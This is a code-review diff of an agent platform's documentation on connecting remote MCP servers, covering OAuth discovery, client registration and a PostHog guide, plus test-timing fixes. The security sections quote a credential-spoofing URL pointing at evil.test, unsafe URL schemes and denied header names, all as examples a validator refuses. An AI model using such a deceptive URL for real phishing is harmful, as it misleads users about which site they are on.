diff --git a/doc/DEVELOPING.md b/doc/DEVELOPING.md index d5bcfb0349..cd5d36cbe9 100644 --- a/doc/DEVELOPING.md +++ b/doc/DEVELOPING.md @@ -952,6 +952,22 @@ pnpm secrets:migrate-inline-env # dry run pnpm secrets:migrate-inline-env --apply # apply migration ``` +## Internal Connection Token Brokers + +Connection token exchanges carry a resolved parent credential, so their URLs +are public-only by default even in local/private deployments. To intentionally +use an internal broker, configure an exact hostname allowlist: + +```sh +PAPERCLIP_TOKEN_BROKER_ALLOWED_HOSTS=broker.internal.example,10.0.0.42 +``` + +Entries are comma- or whitespace-separated exact hostnames (no wildcards). The +host configured by `PAPERCLIP_PAGES_API_URL` is included automatically. Every +broker hostname is resolved once and the request is pinned to the approved +address; IPv4 and IPv6 link-local destinations remain denied even when their +host is allowlisted. + ## Company Deletion Toggle Company deletion is intended as a dev/debug capability and can be disabled at runtime: @@ -1036,6 +1052,38 @@ Optional auth flags (for authenticated mode): - `PAPERCLIP_AUTH_HEADER` (for example `Bearer ...`) - `PAPERCLIP_COOKIE` (session cookie header value) +## PostHog MCP Live Smoke Test + +The PostHog smoke targets an already-running authenticated Paperclip instance. +It is deliberately separate from `pnpm test` and `pnpm test:e2e` because it +uses a live vendor OAuth flow and creates a short-lived connection plus one +fresh-run proof issue. + +```sh +INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL=operator@example.test \ +INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD='' \ +INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID=483530 \ +pnpm smoke:posthog-live https://paperclip.example.test +``` + +The command fails before browser launch unless all three integration bindings +are present, and never prints their values. A Paperclip heartbeat derives the +target origin from its injected `PAPERCLIP_API_URL`; the positional URL (or +`--base-url `) selects the running instance for a manual invocation. It +creates no trace, video, or HAR, begins +screenshots only after OAuth returns to Paperclip, enables read actions only, +installs the connection on `CodexCoderPro` only, runs `project-get` with `{}` +from the board Test panel and a fresh agent run, then removes the connection. +Sanitized JSON and PNG evidence defaults to `PAPERCLIP_RUN_SCRATCH_DIR` when the +command runs in a heartbeat; set `POSTHOG_EVIDENCE_DIR` for a different output +directory. + +Run the focused harness checks without contacting Paperclip or PostHog: + +```sh +node --test scripts/smoke/posthog-live.test.mjs +``` + ## OpenClaw Docker UI One-Command Script To boot OpenClaw in Docker and print a host-browser dashboard URL in one command: diff --git a/doc/connections/CONNECTOR-PLAYBOOK.md b/doc/connections/CONNECTOR-PLAYBOOK.md index 28b57f519d..3f94d086df 100644 --- a/doc/connections/CONNECTOR-PLAYBOOK.md +++ b/doc/connections/CONNECTOR-PLAYBOOK.md @@ -4,6 +4,19 @@ This playbook is the repeatable template for adding a vendor to the Apps catalog Use it when Paperclip acts on an external system through a governed connection: a stored credential, a capability catalog, access profiles and policy rules, and audit. Inbound integrations, such as an external client acting on Paperclip, use gateway or webhook guidance instead. +**A catalog entry is a convenience layer, not a prerequisite.** Since +[PAP-17087](/PAP/issues/PAP-17087), an operator can connect any +standards-compliant remote HTTP MCP server from **Connect your own MCP server** +or **Paste a config** with no Paperclip code change at all — including servers +that need browser sign-in. Those two routes are the documented baseline; see +[Connecting any remote MCP server](./GENERIC-REMOTE-MCP.md). + +Write a catalog entry when Paperclip should *promote* a vendor: branding, tailored +fields, field validation, scoped defaults, and support copy. A definition adds +those conveniences and nothing else. It must not create a second connection, +change ownership, or be necessary for health, catalog, or governance — a curated +route and the generic route converge on the same connection and review pipeline. + Every connector built with this playbook is a **plane P2** connection — a resource token in the instance vault, acquired via the connect broker, never a sign-in authenticator. Before writing a connector, read [Identity vs. connections](./README.md#identity-vs-connections) for the P1/P2/P3 boundary and the D7 standing rule (sign-in tokens are never reused as resource tokens; id.paperclip.ing never stores resource tokens; no connections hub on the ID service). ## Output @@ -91,6 +104,11 @@ Capture: - `methods`: explicit combinations of `transport` (`mcp_remote`, `rest_api`, `local_stdio`), `authKind` (`oauth`, `api_key`, `none`), and `ownership` (`platform_shared`, `platform_provisioned`, `customer`, `dcr`). - Stable connection UID namespace used to form `{namespace}/{slug}` addresses. - `credentialFields`: labels, vendor-call placement, header key, prefix, help URL, and required state. User-facing labels should be sanitized by the Apps UI copy layer. The saved value is always a `company_secrets` ref, not an env entry. +- `tenantFields` and `extensionFields`: keep unavoidable identity and resource + boundaries in the default flow. Mark optional scope reduction, feature/tool + filters, response modes, and transport tuning with `advanced: true`, and give + advanced fields working defaults that do not require the operator to expand + the disclosure. - `oauth`: provider key, scopes, authorization URL, token URL, metadata URL if applicable. - `urlPatterns`: URLs that can identify this app during paste/import flows. - `recommendedDefaults`: access and risk defaults, especially ask-first risk levels. @@ -151,6 +169,13 @@ The wizard path comes from auth mode and transport: The operator should see Apps, Connections, and Review language. Keep protocol language behind Developer/Advanced copy. +Default to the broadest vendor permissions and scopes the reviewed connection +can support. Operators should not have to predict every future tool during +setup. Keep the default view to the minimum inputs needed for a working +connection, fold optional expert controls under one collapsed **Advanced** +disclosure, and enforce safe execution afterward through Paperclip's resource +boundaries, catalog review, ask-first policies, quarantine, and audit. + ## Step 8: Apply Governance Defaults Governance is automatic because every catalog entry becomes a normal tool-access object: @@ -198,6 +223,15 @@ most; the broker resolves endpoints at connect time: `authorization_endpoint`, `token_endpoint`, and — when the vendor supports dynamic registration — `registration_endpoint`. +For an issuer that has a path, step 3 is tried in both the RFC 8414 insertion +form (`/.well-known/oauth-authorization-server`) and the widely deployed +OIDC suffix form (`/.well-known/oauth-authorization-server`), and a +document whose `issuer` disagrees with the issuer used to build the URL is +discarded. Authorization, token, and refresh requests all carry the RFC 8707 +`resource` indicator naming the canonical MCP endpoint, and RFC 9207 `iss` is +validated against the persisted expected issuer when the authorization server +returns it. + The broker implements this in `discoverOAuthEndpoints` (`server/src/services/tool-access.ts`), but discovery is **not** unconditional. `oauthEndpointsForConnection` resolves endpoints in this @@ -247,6 +281,24 @@ registers a client on the fly and stores it on the connection: `customer` and `dcr` in the method's `ownershipModes` when the vendor supports both. +Since [PAP-17087](/PAP/issues/PAP-17087), DCR is **one of four** registration +tiers, and `ownershipModes` gates only the *curated* path. The broker resolves a +client in this order: a deployment-preconfigured client, then a Client ID +Metadata Document when the authorization server advertises one (requires a public +HTTPS `PAPERCLIP_PUBLIC_URL`), then DCR, then client credentials the operator +preregistered and pasted in. A URL-only connection with no `AppDefinition` may +use the CIMD and DCR tiers too, but only after validated protected-resource and +authorization-server discovery produced a metadata document. Registered client +material is bound to the issuer, MCP resource URL, callback URI, and company; +when a binding moves, a Paperclip-minted client re-registers and an +operator-supplied one asks the operator to re-enter it. Full detail in +[Connecting any remote MCP server](./GENERIC-REMOTE-MCP.md#how-sign-in-gets-a-client). + +For a curated entry, `ownershipModes` still decides whether Paperclip may +dynamically register on that vendor's behalf: omit `dcr` for a vendor that must +not be auto-registered, and the broker will not fall through to the generic +registration path for it. + **DCR needs neither Paperclip ID nor Paperclip Connect.** DCR is always instance-local (ratified in the PAP-14828 connector-service spec, section 10 item 8.4: "DCR is always instance-local; the service has no DCR involvement"). @@ -750,4 +802,3 @@ End-to-end evidence belongs to PAP-16654 (P6) and the PAP-12373 matrix: - Revocation removes Notion tools and blocks execution. - Audit rows prove actor, run/issue context, connection, tool, decision, reason code, and outcome. - diff --git a/doc/connections/FIRST-30-MATRIX.md b/doc/connections/FIRST-30-MATRIX.md index dd5ffbff70..1374e4be0e 100644 --- a/doc/connections/FIRST-30-MATRIX.md +++ b/doc/connections/FIRST-30-MATRIX.md @@ -89,7 +89,7 @@ PagerDuty. | 12 | PagerDuty | E | Direct MCP with REST wrapper for events | OAuth | Account, service, escalation policy, incident urgency filters | Read incidents/on-call, ack/resolve with approval | Incident webhooks | S3 | | 13 | Cloudflare | E | Direct MCP with vendor-deep wrapper for Workers/DNS | OAuth or scoped API token | Account, zone, Worker/project filters | Read zones/deployments/logs, draft DNS/Worker change | Audit/deployment sync optional | S4 | | 14 | Vercel | A | Direct MCP or thin REST wrapper | Vercel OAuth | Team, project, environment, deployment filters | Read projects/deployments/log metadata, redeploy/cancel gated | Deployment webhooks | S3 | -| 15 | PostHog | C | Direct MCP/API-key provider | Project/personal API key secret ref | Project, environment, dashboard/feature flag filters | Query events/insights/flags, create annotation | Optional insight/flag sync | S2 | +| 15 | PostHog | C | Hosted MCP OAuth or personal API key | OAuth token or personal API key secret ref | Project, read-only, feature-group, and tool filters | Query insights/errors/flags/experiments; governed writes | Optional insight/flag sync | S3 | | 16 | Datadog | C | OpenAPI-to-MCP shim first, deep wrapper later | API key + app key secret refs | Site, org, service, monitor, dashboard filters | Read metrics/logs/monitors, mute/unmute gated | Monitor/webhook events | S3 | | 17 | Figma | C | Vendor-deep wrapper; MCP for Dev Mode reads | Figma OAuth | Team, project, file, branch filters | Read files/comments/dev data, create comment | File/comment webhooks optional | S3 | | 18 | Canva | C | Direct app/MCP where available; Connect API wrapper | Canva OAuth | Team, folder, brand/template filters | Search/read designs, create design from template | Asset sync optional | S2 | diff --git a/doc/connections/GENERIC-REMOTE-MCP.md b/doc/connections/GENERIC-REMOTE-MCP.md new file mode 100644 index 0000000000..98f8e8631d --- /dev/null +++ b/doc/connections/GENERIC-REMOTE-MCP.md @@ -0,0 +1,228 @@ +# Connecting any remote MCP server + +Paperclip can connect a standards-compliant remote HTTP MCP server without a +Paperclip code change. A curated `AppDefinition` is a **convenience layer** — +branding, tailored fields, scoped defaults, support copy — not a prerequisite. + +This is the documented baseline for connecting anything. Read +[Connector playbook](./CONNECTOR-PLAYBOOK.md) when you want to add the branded +convenience layer on top for a vendor Paperclip should promote. + +Accepted in the [generic remote MCP plan](/PAP/issues/PAP-17078#document-plan), +implemented in [PAP-17087](/PAP/issues/PAP-17087). + +## The two routes + +| Route | Where | Use it when | +| --- | --- | --- | +| Guided URL | **Apps → Connect an app → Connect your own MCP server** | You have the server's address. Paperclip probes it and walks you through whatever it needs. | +| Paste a config | **Advanced → Paste a config** | A README gave you an `mcpServers` snippet, or the server needs headers with names Paperclip could not guess. | + +Both routes normalize through the same backend contract, so auth discovery, +secret handling, catalog refresh and review cannot diverge between them. + +**Advanced → Run your own** is a separate, higher-trust path for local stdio +commands and is deliberately not covered here. + +Don't know the address or the headers? The question-mark control beside +**Paste a config** gives you a request you can hand to an agent: it asks the +agent to consult the vendor's current documentation and reply with one +paste-ready `mcpServers` JSON object using credential *placeholders*, plus notes +on how to obtain each credential. Paste only the JSON block back into Paperclip; +Paperclip reads the header names from it and asks you for the values, which it +stores as Paperclip secrets. + +## What the guided URL flow does + +After you paste an address and press **Check link**, Paperclip probes the +endpoint and branches: + +| Endpoint says | You get | +| --- | --- | +| Nothing needed | Discovered actions, straight to review. | +| Needs authorization, and publishes discoverable OAuth metadata | **Sign in to continue** — a browser sign-in at the provider. | +| Needs authorization, but no discoverable sign-in | A prompt to add the key or headers its docs list, under **Advanced authentication**. | +| Needs a client you registered yourself | A prompt for a client ID and secret. The draft connection is kept — you don't start over. | +| Not a valid address / private network / unreachable | The specific problem and which field to change. | + +An unknown server is labelled **Unverified server** with its host shown, at every +step through review, access and install. Reads are enabled for review; +state-changing actions start off; newly discovered actions are quarantined until +reviewed. That is the same treatment a curated connection gets. + +### Advanced authentication + +Collapsed by default. Open it when the server's docs are specific: + +- **No sign-in needed** — the server is open to anyone with the address. +- **Key or token** — sent as an `Authorization` header. +- **Custom headers** — for servers that name their own headers. +- **Browser sign-in** — optionally with a client ID and secret you registered + yourself, for providers that require preregistration. + +Every value you enter becomes a Paperclip secret. Values are write-only: they +never appear in stored config JSON, logs, activity details, API responses after +write, or UI readback. Only header *names* are shown in review and diagnostics. + +Paperclip refuses to send header names it manages or that belong to the +transport — `Host`, `Cookie`, `Content-Length`, `Transfer-Encoding`, +hop-by-hop headers, and anything under `Proxy-*` or `Sec-*` — and rejects +values containing line breaks or control characters. This is enforced in shared +code (`packages/shared/src/mcp-remote-headers.ts`), checked at the API boundary, +and re-checked in the service immediately before the header is projected onto a +real request. + +## How sign-in gets a client + +You never choose this; Paperclip resolves it and the wizard shows none of it. +Recorded here for security review and diagnostics. In preference order: + +1. **Deployment-preconfigured client.** `PAPERCLIP_TOOL_OAUTH__CLIENT_ID` + / `_SECRET`, or the unsuffixed `PAPERCLIP_TOOL_OAUTH_CLIENT_ID` / `_SECRET`. + Always wins when set. +2. **Client ID Metadata Document (CIMD).** When the authorization server + advertises `client_id_metadata_document_supported`, Paperclip presents the URL + of its own published metadata document as the `client_id`. Nothing is + registered. **Requires a public HTTPS base URL** (`PAPERCLIP_PUBLIC_URL`): + the authorization server has to fetch that document server-to-server, so + loopback and plain-HTTP deployments fall through to the next tier. + The document is served unauthenticated at `/api/tools/oauth/client-metadata` + and contains only this deployment's callback and the grant/response/auth + methods Paperclip uses — no company, connection or secret data. +3. **Dynamic client registration (RFC 7591).** When the authorization server + advertises a `registration_endpoint`. Paperclip registers a public client + (`token_endpoint_auth_method: none`, `application_type: web`, PKCE S256). +4. **Manual preregistered client.** The client ID and secret you paste under + **Advanced authentication → Browser sign-in**. + +A generic connection may register (tiers 2 and 3) **only after** validated +protected-resource and authorization-server discovery actually produced a +metadata document, and only on an explicit operator connect action. An endpoint +that merely returns a 401 does not earn a registration. + +### Client binding + +Client material is bound to the authorization-server issuer, the MCP resource +URL, the callback URI, and the company. If any of those change: + +- a Paperclip-minted client (CIMD or DCR) is **re-registered**; +- a client you supplied yourself is **not** — Paperclip stops and asks you to + re-enter it, because it cannot register on your behalf in a console it does + not control. + +Credentials are never reused across issuers or across companies. + +### Endpoint addresses are validated before they are used + +Every OAuth endpoint address is chosen by the remote server — in discovered +metadata, in a `WWW-Authenticate` hint, in a pasted config, or in a gallery +default — and the authorization endpoint additionally becomes a top-level browser +navigation. All of them are parsed by one shared validator +(`checkOAuthEndpointUrl` in `@paperclipai/shared`) and must be: + +- **`https:`.** Plain `http:` is refused, except for a loopback host under the + local-development policy (the same policy that allows private remote + endpoints), and except for this deployment's own origin. +- **Free of embedded credentials.** `https://accounts.google.com@evil.test/…` + reads as the wrong site to a human, so Paperclip refuses it. +- **Free of a fragment**, and a well-formed absolute URL. + +`javascript:`, `data:`, `file:` and friends are therefore refused before they can +reach `window.location`. The board applies the same validator to the address it +receives, so an unsafe value cannot pass the API boundary and then execute at the +navigation boundary. A refusal is reported as +`oauth__endpoint_rejected` (422) and the unsafe value is never persisted on +the connection. + +An address that passes is still only an address: a valid HTTPS authorization page +can be a phishing page. The redirect screen names the host you are being sent to, +and the **Unverified server** label stays visible for an endpoint with no curated +definition. + +### Protocol conformance + +- RFC 8707 `resource` on authorization, token, and refresh requests, naming the + canonical MCP endpoint (origin + path, no query or fragment), so the + authorization server can audience-restrict the token to that server. +- RFC 9728 protected-resource discovery, path-aware first + (`/.well-known/oauth-protected-resource`) then origin. +- RFC 8414 authorization-server discovery for issuers with a path, in the + spec's insertion form (`/.well-known/oauth-authorization-server`) and + the widely deployed OIDC suffix form (`/.well-known/...`). A metadata + document whose `issuer` disagrees with the issuer used to build the discovery + URL is discarded. +- RFC 9207 `iss` validated against the persisted expected issuer when the + authorization server returns it. A mismatch refuses the code rather than + exchanging it. An absent `iss` is tolerated — it is optional and widely + omitted. +- PKCE S256, exact redirect/state binding, and SSRF/private-network and redirect + limits are unchanged from the curated path. + +The discovered auth kind, issuer, and resource are persisted on the connection, +so refresh, reconnect, revoke and diagnostics all use the generic path instead of +falling back to `authKind: none` semantics. + +## Curated definitions remain optional + +A curated definition matching a pasted endpoint is offered as a branded +shortcut beside the generic form — never instead of it. A definition adds labels, +logos, field validation, scoped defaults and support copy. It does **not** unlock +a separate execution capability, and it must not create a second connection or +change ownership. + +The bespoke [PostHog connection](./POSTHOG.md) is the worked example: it is the +polished route for most users, and PostHog is also connectable generically +through this page with either a key or browser sign-in. + +## Verifying + +Deterministic coverage lives in +`server/src/__tests__/generic-mcp-connection.test.ts`, which stands up an +in-process MCP server plus authorization server. It needs no network and no +vendor credentials, and every case connects by URL without naming a gallery app. +A credentialed vendor smoke (for example live PostHog OAuth) may be recorded by +QA but is not required for deterministic verification. + +### Opt-in generic Notion live smoke + +`pnpm smoke:notion-generic-live` exercises the generic **Advanced → Paste a +config** route against `https://mcp.notion.com/mcp`. It is intentionally outside +the normal unit, browser, and CI-required suites. Run it only against an +already-running, browser-reachable HTTPS Paperclip instance with these bindings +provided by the execution environment: + +- `PAPERCLIP_E2E_BASE_URL`, `PAPERCLIP_E2E_EMAIL`, and + `PAPERCLIP_DEV_LOGIN_PASSWORD` for the target instance; +- `PAPERCLIP_API_URL`, `PAPERCLIP_API_KEY`, `PAPERCLIP_RUN_ID`, and + `PAPERCLIP_TASK_ID` for the control plane; +- the approved on-demand secret binding + `access.notion_generic_flow_test_account`, delivered by the agent secret API + under its normalized key `generic-flow-test-account`, for the existing Notion + test account. + +If that account requires an emailed one-time code, also set `AGENTMAIL_API_KEY` +and `NOTION_AGENTMAIL_INBOX_ID` for the already-configured forwarding inbox. The +smoke loads the AgentMail SDK only after Notion presents the code challenge, +accepts only a fresh authenticated Notion message, fills the code once in +memory, and never records the message, address, or code. + +Check the URL, health endpoint, and binding metadata without retrieving the +credential value or opening a browser: + +```sh +pnpm smoke:notion-generic-live -- --dry-run +``` + +The live command retrieves the credential only after the safe preflight and +Paperclip login succeed. It disables trace, video, and HAR capture, takes only +post-callback screenshots, enables and invokes only `notion-get-self`, proves +`notion-create-pages` remains locally denied, and removes its uniquely named +connection in a `finally` cleanup. Its `summary.json` and PNG files contain +sanitized IDs, decisions, outcomes, and endpoint origins/paths only; they +default to `PAPERCLIP_RUN_SCRATCH_DIR`, or to `NOTION_EVIDENCE_DIR` when set. + +Run the credential-free harness checks with: + +```sh +node --test scripts/smoke/notion-generic-live.test.mjs +``` diff --git a/doc/connections/POSTHOG.md b/doc/connections/POSTHOG.md new file mode 100644 index 0000000000..0f59672b36 --- /dev/null +++ b/doc/connections/POSTHOG.md @@ -0,0 +1,95 @@ +# PostHog connection + +Paperclip connects to PostHog's hosted MCP service at +`https://mcp.posthog.com/mcp`. The connection supports two explicit methods: + +- browser OAuth, which is recommended for hosted PostHog accounts; or +- a PostHog personal API key stored as a Paperclip secret and sent as an + `Authorization: Bearer ...` header. + +Paperclip does not silently fall back from OAuth to an API key. The selected +method is saved on the connection and reused for reconnects. + +This curated connection is the polished route and is what most users should use: +it provides branding, project selection, read-only/feature/tool/mode controls, +field validation, and tailored guidance. None of it is *required* to reach +PostHog's MCP server. Since [PAP-17087](/PAP/issues/PAP-17087), PostHog can also +be connected generically from **Connect your own MCP server** by pasting +`https://mcp.posthog.com/mcp` — with a personal API key, with explicit headers, or +through browser sign-in — with no Paperclip-specific code involved. See +[Connecting any remote MCP server](./GENERIC-REMOTE-MCP.md). + +## Service involvement + +PostHog hosts both the MCP resource and OAuth authorization service. Paperclip +discovers the OAuth endpoints, dynamically registers the client when needed, +stores returned credentials as secret references, and handles the callback at +`/api/tools/oauth/callback`. No Paperclip-operated vendor relay is involved. + +```mermaid +sequenceDiagram + actor A as Administrator + participant P as Paperclip + participant M as mcp.posthog.com + participant O as oauth.posthog.com + + A->>P: Choose PostHog sign-in and project + P->>M: Discover protected-resource metadata + M-->>P: Authorization server metadata URL + P->>O: Discover endpoints and register OAuth client + O-->>P: Client registration + P-->>A: Open browser authorization + A->>O: Approve access + O-->>P: Redirect to /api/tools/oauth/callback + P->>O: Exchange authorization code + O-->>P: Access and refresh tokens + P->>M: tools/list with project and configured options + M-->>P: PostHog tool catalog +``` + +The current hosted endpoints are: + +| Purpose | Endpoint | +| --- | --- | +| MCP resource | `https://mcp.posthog.com/mcp` | +| Protected-resource metadata | `https://mcp.posthog.com/.well-known/oauth-protected-resource/mcp` | +| Authorization-server metadata | `https://oauth.posthog.com/.well-known/oauth-authorization-server` | +| Authorize | `https://oauth.posthog.com/oauth/authorize/` | +| Token | `https://oauth.posthog.com/oauth/token/` | +| Dynamic client registration | `https://oauth.posthog.com/oauth/register/` | +| Revoke | `https://oauth.posthog.com/oauth/revoke/` | +| Paperclip callback | `/api/tools/oauth/callback` | + +Redirect-URI constraints and token lifetimes remain provider-controlled and +must be rechecked during credentialed QA; Paperclip does not encode guessed +values for either. + +## Administrator setup + +1. In **Apps → Browse**, choose **PostHog**. +2. Explicitly choose **Sign in with PostHog** or **Use a personal API key**. +3. Enter the numeric PostHog project ID. +4. Leave **Read-only mode** off to expose the full PostHog action catalog. + Turn it on when the connection should never offer actions that change data. +5. The default setup requests all feature groups and tools. Open **Advanced** + only to narrow the catalog with **Feature groups** or **Individual tools**. + Paperclip fixes the advanced response mode to individual tools so each + action can be governed; CLI mode is unavailable until nested execution is + governed. +6. For OAuth, continue through browser consent. For API-key setup, create a + personal API key using PostHog's **MCP Server** preset and paste it into + Paperclip. Never put the key in connection configuration or a URL. +7. Review discovered actions. Known writes ask first, destructive or nested + execution tools remain quarantined, and unknown PostHog tools default to + write risk until reviewed. + +Paperclip sends the project scope as the `x-posthog-project-id` managed header. +It sends configured `readonly`, `features`, `tools`, and `mode` values as query +parameters. Leaving the optional feature and tool filters blank exposes the +full catalog. The managed header is identical during catalog discovery and tool +execution, and a caller cannot override it. PostHog documents these options in its [MCP +overview](https://posthog.com/docs/model-context-protocol) and [MCP +FAQ](https://posthog.com/docs/model-context-protocol/faq). + +PostHog does not charge for MCP requests themselves, but the actions they +perform can consume normal PostHog usage or AI credits. diff --git a/doc/connections/README.md b/doc/connections/README.md index ae1c76f051..6e777275fe 100644 --- a/doc/connections/README.md +++ b/doc/connections/README.md @@ -2,6 +2,8 @@ Audience: internal engineers and product contributors working on integrations. +Provider notes: [PostHog](./POSTHOG.md). + Post-read action: classify a new integration request, pick the right Paperclip layer to change, and avoid creating a parallel connection framework. @@ -145,8 +147,12 @@ not own durable tokens. - [First-30 matrix](./FIRST-30-MATRIX.md) harvests the keeper from [PAP-2432](/PAP/issues/PAP-2432) and is the source matrix for connector playbook work. +- [Connecting any remote MCP server](./GENERIC-REMOTE-MCP.md) is the baseline: + how an operator connects a standards-compliant remote MCP endpoint with no + Paperclip code change, and how sign-in resolves a client. - [Connector playbook](./CONNECTOR-PLAYBOOK.md) is the repeatable template for - adding a vendor as a catalog entry on Apps v2. + adding a vendor as a catalog entry on Apps v2 — the optional branded + convenience layer over the baseline above. - [MCP access governance](../MCP-ACCESS-GOVERNANCE.md) remains the operator runbook for the current gateway, profile, policy, approval, runtime, and audit APIs. diff --git a/doc/connections/SECURITY-THREAT-MODEL.md b/doc/connections/SECURITY-THREAT-MODEL.md index c8cce179fc..7fb880ccdc 100644 --- a/doc/connections/SECURITY-THREAT-MODEL.md +++ b/doc/connections/SECURITY-THREAT-MODEL.md @@ -111,6 +111,10 @@ Required controls: first, then persist only refs and redacted account metadata on the connection. - Create/update routes validate same-company ownership for every referenced secret, app, connection, agent, user, project, routine, and issue. +- Create/update routes validate every configured token-broker exchange URL + against the private-host policy before persisting the connection. Minting + repeats the check and pins the approved address before transmitting the + parent credential, covering legacy rows and DNS rebinding. - Health and auth failures transition failure-closed: `missing_secret`, `degraded`, `failed`, `auth_required`, or disabled equivalents. - Error payloads and logs redact provider responses that may contain credentials. diff --git a/package.json b/package.json index 2dd77a1675..0be3580987 100644 --- a/package.json +++ b/package.json @@ -52,6 +52,8 @@ "smoke:openclaw-docker-ui": "./scripts/smoke/openclaw-docker-ui.sh", "smoke:openclaw-sse-standalone": "./scripts/smoke/openclaw-sse-standalone.sh", "smoke:mcp-fixtures": "node scripts/smoke/mcp-fixture-harness.mjs", + "smoke:notion-generic-live": "node scripts/smoke/notion-generic-live.mjs", + "smoke:posthog-live": "node scripts/smoke/posthog-live.mjs", "smoke:pipelines-tutorial": "./scripts/smoke/pipelines-tutorial-smoke.sh", "smoke:terminal-bench-loop-skill": "node scripts/smoke/terminal-bench-loop-skill-smoke.mjs", "test:release-registry": "node --test scripts/verify-release-registry-state.test.mjs scripts/release-package-map.test.mjs scripts/check-release-package-bootstrap.test.mjs scripts/check-no-git-push.test.mjs scripts/release-lib.test.mjs scripts/release-registry-versions.test.mjs scripts/link-plugin-dev-sdk.test.js scripts/acpx-patch-packaging.test.mjs scripts/service-onboard-smoke.test.mjs scripts/docker-onboard-smoke.test.mjs", @@ -71,6 +73,7 @@ }, "devDependencies": { "@playwright/test": "^1.62.1", + "agentmail": "^0.5.14", "cross-env": "^10.1.0", "esbuild": "^0.28.2", "typescript": "^7.0.2", diff --git a/packages/adapter-utils/src/acpx-engine/execute.test.ts b/packages/adapter-utils/src/acpx-engine/execute.test.ts index 4a82af4991..7912c98ae0 100644 --- a/packages/adapter-utils/src/acpx-engine/execute.test.ts +++ b/packages/adapter-utils/src/acpx-engine/execute.test.ts @@ -217,17 +217,30 @@ async function runExecutor( return { logs, meta, events, runtimeOptions, configOptions, sessionInputs, result }; } -// Under `vi.useFakeTimers()`, the setup work before a run reaches its -// `ensureSession` call (staging, warm-handle lookups, real `fs` calls) still -// runs through ordinary promise chains, not timers. `advanceTimersByTimeAsync` -// only drains microtasks in the windows between the timer ticks it processes; -// with no timer due yet, a single call can return before that setup chain -// finishes unwinding. Flushing a few zero-length advances first lets it fully -// unwind before the real, deadline-length advance below. -async function flushSetupThenAdvanceTimersByTimeAsync(ms: number): Promise { - for (let i = 0; i < 50; i++) { - await vi.advanceTimersByTimeAsync(0); - } +// Under `vi.useFakeTimers()`, setup before `ensureSession` still performs real +// filesystem work. Advancing the fake clock before that work reaches the +// handshake can leave the guard timer scheduled after the advance and hang the +// test. Track the exact call boundary so the deadline always advances only +// after the guard exists, regardless of runner load. +function trackEnsureSessionCall(call: () => Promise): { + call: () => Promise; + started: Promise; +} { + let markStarted!: () => void; + const started = new Promise((resolve) => { + markStarted = resolve; + }); + return { + call: () => { + markStarted(); + return call(); + }, + started, + }; +} + +async function advanceHandshakeGuardAfterStart(started: Promise, ms: number): Promise { + await started; await vi.advanceTimersByTimeAsync(ms); } @@ -6273,11 +6286,12 @@ describe("ACPX startup handshake guard and late-completion fence", () => { it("ends a handshake that stays pending past the startup deadline with a closed timeout code", async () => { const root = await makeTempRoot(); + const ensureSession = trackEnsureSessionCall(() => new Promise(() => {})); const execute = createAcpxEngineExecutor({ createRuntime: () => ({ // Never settles on its own; only the guard's deadline can end it. - ensureSession: () => new Promise(() => {}), + ensureSession: ensureSession.call, startTurn: () => ({ events: (async function* () {})(), result: Promise.resolve({ status: "completed", stopReason: "end_turn" }), @@ -6298,7 +6312,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { onLog: async () => {}, onMeta: async () => {}, } as never); - await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 50); + await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 50); const result = await resultPromise; // The run terminalizes promptly on its own; no server restart needed. @@ -6316,6 +6330,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { const ensureSessionPromise = new Promise((resolve) => { resolveEnsure = resolve; }); + const ensureSession = trackEnsureSessionCall(() => ensureSessionPromise); const startTurn = vi.fn(() => ({ events: (async function* () { yield { type: "done", stopReason: "end_turn" }; @@ -6326,7 +6341,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { const execute = createAcpxEngineExecutor({ createRuntime: () => ({ - ensureSession: () => ensureSessionPromise, + ensureSession: ensureSession.call, startTurn, close: async () => {}, }) as never, @@ -6343,7 +6358,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { onLog: async () => {}, onMeta: async () => {}, } as never); - await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 50); + await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 50); const result = await resultPromise; expect(result.errorCode).toBe("acpx_handshake_timeout"); @@ -6364,7 +6379,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { } finally { vi.useRealTimers(); } - }); + }, 10_000); it("closes a late-resolving real handle exactly once, whether it arrives before or after settlement seals", async () => { const lateHandle = { @@ -6383,11 +6398,12 @@ describe("ACPX startup handshake guard and late-completion fence", () => { const ensureSessionPromise = new Promise((resolve) => { resolveEnsure = resolve; }); + const ensureSession = trackEnsureSessionCall(() => ensureSessionPromise); const closeSpy = vi.fn(async () => {}); const execute = createAcpxEngineExecutor({ createRuntime: () => ({ - ensureSession: () => ensureSessionPromise, + ensureSession: ensureSession.call, startTurn: () => ({ events: (async function* () {})(), result: Promise.resolve({ status: "completed", stopReason: "end_turn" }), @@ -6405,7 +6421,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { onLog: async () => {}, onMeta: async () => {}, } as never); - await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 1); + await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 1); return { closeSpy, resolveEnsure, resultPromise }; } @@ -6437,16 +6453,17 @@ describe("ACPX startup handshake guard and late-completion fence", () => { } finally { vi.useRealTimers(); } - }); + }, 10_000); it("discards the reuse decision and leaves no warm entry after a guard rejection", async () => { const root = await makeTempRoot(); const warmHandles = new Map(); + const ensureSession = trackEnsureSessionCall(() => new Promise(() => {})); const execute = createAcpxEngineExecutor({ warmHandles, createRuntime: () => ({ - ensureSession: () => new Promise(() => {}), + ensureSession: ensureSession.call, startTurn: () => ({ events: (async function* () {})(), result: Promise.resolve({ status: "completed", stopReason: "end_turn" }), @@ -6473,7 +6490,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { onLog: async () => {}, onMeta: async () => {}, } as never); - await 